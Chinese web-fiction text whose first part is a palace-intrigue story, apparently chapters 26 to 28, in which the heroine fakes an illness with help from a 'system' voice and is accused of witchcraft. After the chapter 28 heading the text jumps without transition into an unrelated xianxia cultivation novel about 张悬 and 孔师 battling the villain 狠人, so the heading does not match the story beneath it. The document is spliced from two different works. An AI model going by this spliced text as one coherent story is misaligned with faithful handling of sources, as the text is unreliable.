?? 大可不必吧? 看着他端来满满一碗乌漆嘛黑的中药,姜舒月一脸拒绝。 明夏这时候端进来一碟子的蜜饯,“娘娘,奴婢给您拿了些蜜饯,喝完药了甜甜嘴儿。” 明夏虽然也知道姜舒月在装病,但福安公公怕中途出了岔子,煎药的时候一直派人监视着,自己想换成一些不苦的药材都没机会。 只能给姜舒月拿来一些蜜饯,自求多福吧娘娘。 她放下蜜饯转身就走,毫无留恋。 姜舒月看着明夏的背影,又看看贺云徽一副‘不喝就要生气了’的表情,只好接过来捏着鼻子灌了进去。 褐色的药液悄然触碰舌尖,苦涩之感转瞬间席卷了所有感官。 姜舒月整张脸都苦的皱成一团。 突然唇上被什么东西一顶,她下意识地张开嘴巴,一颗蜜饯就掉入她口腔内。 “好些了吗?”贺云徽好笑地看着她,实在是姜舒月脸上的表情太过有趣。 就是现在情况不允许,不然他非得笑出来。 姜舒月好像被这一碗药勾走了灵魂,整个人又呆愣愣地嚼着蜜饯,“陛下,妾身到底得了什么病,还能治好吗?” 一听她提到病,贺云徽的心沉了下来,他不想骗她,但也不想告诉她,她被人下了巫术这么可怕的事情。 只好靠近姜舒月,将她轻轻地抱在怀里,“太医说你只是有些气血不足,这段时间,就在弦月宫好好休息。” 闻言,姜舒月就知道他心里对巫蛊之事已经略有些相信了,只要晚上梦境一起,他就会对此深信不疑了。 弦月宫大张旗鼓将太医院所有当值的太医都请了过去,这事根本就瞒不住。 都不用打听,消息就传了出去,所有人都知道姜舒月病了。 既然知道她病了,就不能不表示,位份不管高低这时都往弦月宫来。 但是没想到的是,还没等进到弦月宫,就被挡在外面的侍卫挡住了。 “各位娘娘,皇上有令,姜美人病情凶险,任何人不得探望。” 宋滢顿了一下,勉强挤出一个微笑,“既然陛下有令,姐妹们自是要遵从的,但这都是本宫宫里顶好的药材,可一定要带给姜美人。” 两个侍卫对视一眼,点点头。 小路子和小方子立刻上前,接过众人递过来的药材。 两个始作俑者藏在人群当中,也互相对视了一眼,都看到了对方眼里的幸灾乐祸。 “月儿可还好?”姜婉清是想亲自进去看一眼的,毕竟是自己以后孩子的生母,身体可千万不能出事。 “谢婉妃娘娘关心,”小方子恭敬地回道。“太医已在会诊,相信会药到病除的。” 姜婉清只能点点头,“若是缺了什么药材,尽管上本宫那去拿。” “谢娘娘。” “恭送娘娘。”送完了礼,又不能进去查探情况,众人只能都打道回府了。 第26章 噩梦惊魂 夜晚已过子时,花园内一片寂静,偶闻几声虫鸣。 贺云徽只身走在静谧的宫道上,眼前迷雾茫茫,四周是无尽的黑暗和模糊的轮廓,只看得清脚下的路,直直的不知道通往何处。 他一动,迷雾就如同活物一般,缓缓流动,似乎在引导他向前。 迷雾尽头,一座破败的宫殿孤零零的伫立在那. 仔细看,匾额上好像刻着兰什么阁,中间的字因为笔划太多,已经被腐朽的看不出本来的样子。 外墙斑驳陆离,墙面上爬满了枯藤,偶尔有蛇类从中探出头来,吐着信子. 大门上雕刻着狰狞的鬼怪面孔,透过大门的缝隙,可以看到里面闪烁着幽幽绿光。 贺云徽伸手推了一下大门。 门吱呀作响,空气中弥漫着腐败和霉变的气味,墙壁上挂着破旧的帷幔,偶尔有水滴从天花板滴落,发出声响。 宫殿的中央,一个女人的身影若隐若现。 掀开垂落下来的破旧帷幔,贺云徽瞳孔紧缩,这女人赫然就是姜舒月! 她双目流血,血水沿着脸颊滑落。 滴在地面上,绽开形成了一朵朵血花。 身体被红绳紧紧束缚,蓦然从她身后又出现了两个女人。 一个手里紧紧拉着姜舒月身上捆绑的红绳,另一个手上拿着一把银针,嘴里念念有词,手上不停一针一针的把针扎入了姜舒月的身体里。 每一下都让她的身体颤抖,痛苦的呻吟在宫殿内回荡。 贺云徽试图接近解救姜舒月,但每次接近,都会被一股无形的力量弹开,可他还是努力朝着姜舒月靠近…… 随着梦寐仙缘丸的效果逐渐消退,贺云徽猛然睁开了眼睛,大口大口地喘气,汗水已经浸湿了他的衣衫。 “来人!”贺云徽立刻坐了起来,外间候着守夜的人纷纷点亮了灯。 今夜是福明和福禄守夜,“陛下。” “去,把琼林叫来,”贺云徽手握拳抵住眉心,以此来缓解噩梦带来的抽痛,“另外,宫里有没有什么宫是叫兰什么阁的?” 宫里大大小小的宫殿不下上九千座,还没算一些杂物间,加起来最少得有上万间了。 想要在这里面找出一个不是主殿的小偏殿,简直难如登天。 因此,两人分头行动,福明去找琼林,福禄则是去看皇宫的堪舆图了。 一刻钟之后,两人身后还跟着一个穿着近卫军服的男子进来了。 “回禀陛下,奴才查看了皇宫的堪舆图,只有一间名为兰馨阁的偏殿,”福禄躬身回道,“如今里面住的是何敏静何御女。” 贺云徽点点头,随即便让琼林在暗处盯着兰馨阁,必要时进去搜查一番。 琼林领命立刻退了出去,福明看这是天色还暗着,便问道:“陛下,还有些时辰,还歇会吗?” 他看着闪烁的灯光,“更衣,朕去看看姜美人。” 贺云徽从弦月宫走的时候天已经很晚了,他只不过睡了两个时辰便被噩梦惊醒,还有一个时辰就要早朝了。 梦里的场景让他到现在都有些心悸,她受了这么大的罪,怕是睡觉也睡不安慰吧。 【宿主,醒醒。】 姜舒月正睡得香,123突然不停地叫她。 【干嘛呀~】姜舒月不耐地翻了个身,嘟囔着。 123委屈啊,它当然知道姜舒月正在睡觉,但是没办法,人马上就要到了。 【男主噩梦惊醒之后要来看你,已经快要到这里了。】 姜舒月一个鲤鱼打挺坐了起来,【不是,这么晚了,他来干嘛啊?!】 123:【根据检测,贺云徽被噩梦吓到了,想到宿主现在被巫术折磨,担心你。】 她愣了一下,心里突然有点别扭,狗男人还怪好的嘞。 想着贺云徽快到这里了,姜舒月躺了下来,闭上眼睛装睡。 果然又过了几分钟,门口就传来了脚步声。 脚步声逐渐靠近,在姜舒月的床边坐了下来。 姜舒月被他盯着一动不敢动,实在忍不住要睁眼的时候,她灵机一动。 “不、不要……”床上的人儿突然眉头紧皱,手无意识地抓着身子底下的锦褥,“痛,好痛啊……” 贺云徽一看到她开始梦魇了,忙抓住她的手。 今夜是明夏值夜,在帘外明夏也听到了姜舒月的呓语,也顾不得规矩,进了内室。 手疾眼快地拧干了一张帕子,细心替姜舒月擦去额头冒出来的汗。 “月儿,别怕。”贺云徽声音不自觉地柔和下来,轻抚她皱起的眉头。 然而并没有用,姜舒月还是在梦魇中。 “呜呜……救我,好痛……”姜舒月实在是佩服自己的演技,真要是演戏,高低不得拿个影后? 【宿主不要演过火了!】 【放心,我有数。】 在他的安抚下,姜舒月渐渐停止了呢喃,呼吸也安稳了下来。 别问,问就是又睡着了。 福禄这时站在外间说了一句,“陛下,该早朝了。” 他也不想这个时候凑上来,谁让他刚刚石头剪刀布输了,可恶。 眼看着天逐渐亮起来了,贺云徽第一次有了想要罢朝的冲动,但是他知道他不能。 若是为了姜舒月罢朝一旦传出去,姜舒月必定没有活路了。 “好好照顾你家娘娘。”他深深地看了一眼姜舒月,转身走了出去。 “是。”明夏松了一口气,她深怕陛下再呆久一些,自己就要露出破绽了。 她看了看姜舒月,这平稳的呼吸,一点也没受到影响。 明夏都不知道自己是应该夸自家主子沉稳,还是心大了。 朝堂之上,大臣们站在底下窃窃私语,往日皇上上朝都是很准时的,今日竟迟了半炷香的时间。 “皇上驾到~跪~” 所有人都立刻回到自己的位置上站好跪拜。 “皇上万岁万岁万万岁!” 有胆子大的偷偷抬起头来瞄了一眼贺云徽,看到他黑如锅底的脸色,心里咯噔了一下。 啊~总觉得,今天要遭呢。 贺云徽因为担心姜舒月,睡得不太好,还做了噩梦. 现在整个人眼下青黑,面有疲惫,心情简直遭到极点。 于是,心有不安的大臣预感很快就实现了。 有几个不懂察言观色的,正好撞到了他的枪口上,被贺云徽训斥的体无完肤摇摇欲坠。 “朕让你办点小事你都办不明白,还敢跟朕说你已经尽力了?!” “每年南巡都有例可循,什么事无巨细都要朕定夺,朕每年给你们这么多的俸禄,是因为朕喜欢养废物吗?” “天天上朝就请封皇后,朕看朕的后宫都给你们做主得了,想要请封谁做皇后,看来你们心里都已经有人选了,都说出来听听。” “臣等不敢!皇上息怒!” 于是,散朝的时候每个人几乎都是灰头土脸的走出了景仁殿。 大家互相对视了一眼,心里一致认为最近几天还是不要招惹皇上为妙。 朝阳宫内,王玉公公手里拿着一封没有署名的信件,正呈上给宋滢。 “娘娘,这封信今日清晨被宫女们发现扔在朝阳宫门口。信件上没有任何署名,材质奴才辨认过了,都是普通的宣纸,看不出是出自哪里;也没有闻到上面有特殊香气和药物,娘娘可放心。” 王玉是朝阳宫的大总管,识人辩物的能力那是相当了得,只上手一摸,鼻子一闻就知道这信件材质普通,没有人下药。 宋滢进宫这么长时间,还是第一次有人用这种方式来告密的。 不由得也对信里的内容好奇了起来,直接拆了信件。 刚看几个字,脸色就是一变,手上一个用力信件的一角都被撕了下来。 来请安的妃嫔,除了知情的王常在和何御女在假装惊讶的同时,其他人都是讶异地看着宋滢。 “贵妃娘娘这是怎么了?这信件不妥?”兰昭容拿起手绢擦了擦唇边不存在的水渍,宋滢脸上出现这种表情。 还真是……有意思。 第27章 分明是栽赃陷害 姜婉清一向对宋滢的行为嗤之以鼻,看她只是看了封信就这样大惊失色没了体面,也对信件的内容好奇了起来。 还没等她开口问,宋滢就将信件递给了姜婉清,“婉妃妹妹先看吧。” 姜婉清一脑袋问号,前面还有淑妃呢,就给她了? 犹豫着接了过来之后,姜婉清看清了信件上的内容。 她一个起身,厉声说道:“一派胡言!本宫的亲妹妹如今病重,生死不明,究竟是哪个在蓄意陷害!” 这事情可不得了,一旦坐实了,自己包括姜家就都完蛋了。 这话一出,所有没看信件的人,更加好奇了,都有点坐不住探头想看看内容。 淑妃已经是快人一步,直接抽出了姜婉清手里的信件,快速过了一眼。 旋即惊呼一声将信件扔了出去,“天啊,姜舒月竟然敢在宫里搞厌胜之术?!” 这里面有几分是真的吓到了,有几分是故意为之只有她自己知道了。 “淑妃姐姐慎言!”姜婉清恨不得扑上去撕了她的嘴,“如今月儿重病,光凭一封来历不明的信,不能说明什么。” 这话一出,就好像在平静的湖面上扔出一个块烧得通红的铁块,水面被烫的呲呲作响。 “厌胜之术?”兰昭容也着实被惊到了,难怪宋滢脸上出现这么奇怪的表情。 方静姝眼皮一跳,梦里根本没有厌胜之术这件事,是谁要陷害姜姐姐? “贵妃娘娘,此时蹊跷,姜姐姐并无理由害人。”虽然心里还是对宋滢有一些害怕,但事关重大,不能就这样让贵妃去告状。 奈何她人微言轻,宋滢只是瞥了她一眼,理了理衣袖,站起来,“这事耽误不得,本宫需要去跟陛下回禀,姐妹们就先自行离去吧。” 宫里每天不是吃饭睡觉就是等待,出了这种事情,没人会放弃看热闹的机会,纷纷表示自己愿意一共前去分忧。 方静姝更加不可能这时候回去等待消息,如果真出了什么事情,自己也好帮衬着些。 姜婉清更是冷笑一声,“呵,好哇,都去,本宫倒要看看,究竟是谁胆子这么大!” 说着一甩袖就冲了出去,宋滢这会也不计较她失了规矩,毕竟有可能今日过后,姜家就完了。 下朝之后的贺云徽心里想着姜舒月的病,又急急地往弦月宫走。 在路上就碰见了宋滢带着一堆莺莺燕燕,正往自己这个方向走。 宋滢看到他眼前先是一亮,随后又暗了下来。 若是回紫宸殿根本不是往这边走的,陛下这是,往弦月宫去? 心里不管怎么想,脸上表情还是完美的柔和。 “参见陛下,陛下吉祥。” 妃嫔们呼啦啦的跪了一地。 平时不觉得,今日一看这规模,贺云徽想着自己后宫的女人是不是太多了? “起来吧,朕还有事,你们自便。”他随意的摆摆手,就要走,被宋滢出声拦了下来。 “陛下,”她拿出告密信,递了过去,“这是臣妾今日宫中收到的无名信,上面写着,写着……” 她欲言又止,贺云徽往日可能会愿意陪她玩这些小把戏,但是今日他有更重要的事情,不耐烦的打断。 “何事如此吞吞吐吐的,若说不清换个人跟朕说。” 宋滢被当众驳了面子,想到这是多年都不曾有过的,不由得眼眶一红,委屈地回道:“陛下恕罪,实在是此事太过重大,信上有人告密,姜美人在弦月宫里做下了厌胜之术,因此才会被反噬病重。” 贺云徽闻言拿了信件翻看,越看眉头越紧。 “放肆!竟敢胡乱攀咬后宫妃嫔!”一把将信扔在了地上,怒火不言而盛。 宋滢见他甚至没有问过姜舒月,就这样相信了姜舒月不会做这种事。 咬咬唇,又说道:“臣妾也不愿相信她是这样的人,可信上之人信誓旦旦说,姜美人把东西埋在弦月宫里,想着怎么也是婉妃的亲妹妹,就来找陛下拿个主意。” 姜婉清这时也站了出来,“陛下,这信件不明不白的就出现了,还诬陷臣妾的妹妹做了这等大逆不道之事。 月儿平日最是柔顺,连蚂蚁都不忍心踩死,如今进了宫还得蒙圣宠。 臣妾实在是想不通她为何要这么做,分明就是有人故意陷害!” 贺云徽捏了捏眉心,抬手制止了她们在这争执。 “既然都来了,那就一起去看看,到底是谁在搞鬼吧。福安,去将远山道长请来。” 远山道长是最近几年京城炙手可热的白云观观主,据说他已经年过百岁,但见过他的人都说他顶多看起来之后五十多岁。 一手卜卦占星之术更是神准无比,来找他算命的人可以说是从白云观排到了城外都还不止。 正巧,为了给南巡出巡算个好日子,前两日刚把人从白云观请来。 贺云徽还没有抽出时间跟远山道长见一面,姜舒月就病了。 守在门口的侍卫远远地就看见了皇上身后跟着一堆女人朝着这里走来,纳闷的同时快速的行了礼。 姜·柔顺·舒月正捧着话本看得起劲,扶风一看到侍卫跪下就马上跑进来报信。 “娘娘!快!皇上来了!” 她被吓得一激灵,话本扔给了扶风,扶风转了一圈没地方藏又给扔进了床底下。 接着主仆两人就开始装模作样,一个躺着,一个站着。 “见过皇上,皇上吉祥。”所有人都跪了下来,贺云徽让这些人都在外面候着,自己进了内室看姜舒月。 床上的人儿脸色还是那样的苍白,原本满是女儿家馨香的房内,这两天也因为她生病而充满了药味。 床边陷了下去,姜舒月装作刚醒的样子,看到了贺云徽一脸惊喜的模样。 但还谨记自己现在的人设,装作虚弱挣扎着要起来。 “真好,醒来第一眼就见到陛下。” 贺云徽连忙按住她,“都病了还这么多礼,快躺着,“又摸摸她的脸,“今日可好些了?还有哪里不舒服?” 她摇摇头,“陛下来看妾身,妾身就不疼了,”然后又虚虚地笑着拉住了他的手,“要是生病就能让陛下多关心妾身,那妾身愿意天天生病。” 贺云徽闻言立刻捂住了她的嘴,“不可胡说!” 想想她这个年纪也是正爱玩的时候,又哄道:“如果你好好养病,南巡之前病好了,朕就带着你去。” 南巡?!姜舒月眼睛亮了起来,“唔唔唔!” 看她因为被自己捂着嘴巴不能说话的样子,贺云徽松开了自己的手,“想说什么?” “陛下,妾身一定好好养病!陛下一定说话算话!” 竟敢质疑他的信用?“朕金口玉言。” 姜舒月听了就伸出一个小拇指,“拉钩!” 他愣了一会,好笑地也伸出了自己的小拇指,“行,拉钩,好好休息,朕去处理点事情。” 见人听话的点点头闭上了眼睛,贺云徽才起身出去,走之前还跟扶风交代了一句,“一会听到什么都不要让你家娘娘出来,安心躺着。” “是,奴婢遵命。” 偷偷睁开一条缝,看到人走了之后,姜舒月马上下床,光着脚猫到了窗户下偷听外面的动静。 “娘娘!您怎么又不穿鞋!”扶风扶额,认命的拿着鞋追了过去。 姜舒月回头示意她小点声,两人就这么一起猫着偷听。 第28章 不打自招 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 